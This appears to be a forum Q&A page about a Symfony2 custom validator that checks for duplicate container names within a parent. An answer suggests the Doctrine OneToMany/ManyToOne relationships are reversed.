class ContainerExists extends Constraint
{
public $message = 'Namnet är upptaget, vänligen välj ett annat.';
public function validatedBy()
{
return 'containerExists';
}
public function getTargets()
{
return self::CLASS_CONSTRAINT;
}
}
Validator
use Symfony\Component\Validator\Constraint;
use Symfony\Component\Validator\ConstraintValidator;
use Symfony\Component\DependencyInjection\ContainerInterface as Container;
use Doctrine\ORM\EntityManager as EntityManager;
class ContainerExistsValidator extends ConstraintValidator
{
private $container;
private $em;
public function __construct(Container $container, EntityManager $em) {
$this->container = $container;
$this->em = $em;
}
public function isValid($object, Constraint $constraint)
{
$em = $this->em;
$container = $this->container;
$company = $this->container->get('security.context')->getToken()->getUser()->getCompany();
$parent = $object->getParent();
//Fetch entities with same name in the same container
$repository = $em->getRepository('BizTVContainerManagementBundle:Container');
$query = $repository->createQueryBuilder('c')
->where('c.company = :company and c.parent = :parent')
->setParameters(array('company' => $company, 'parent' => $parent))
->orderBy('c.name', 'ASC')
->getQuery();
$containers = $query->getResult();
foreach ($containers as $g) {
echo "testing ".$g->getName()." against ".$object->getName()."<br/>";
if ( $g->getName() == $object->getName() ) {
$this->setMessage('Namnet '.$object->getName().' är upptaget, vänligen välj ett annat');
return false;
}
}
return true;
}
}
I believe you have your relationships backwards;
Your parent should be OneToMany and your child should be ManyToOne
Unless you intended to have many parents only have 1 child and that child belong to many parents.
The answer to a similar question solved this issue as well:
symfony2 validation of child entity prevents editing of parent entity

Resources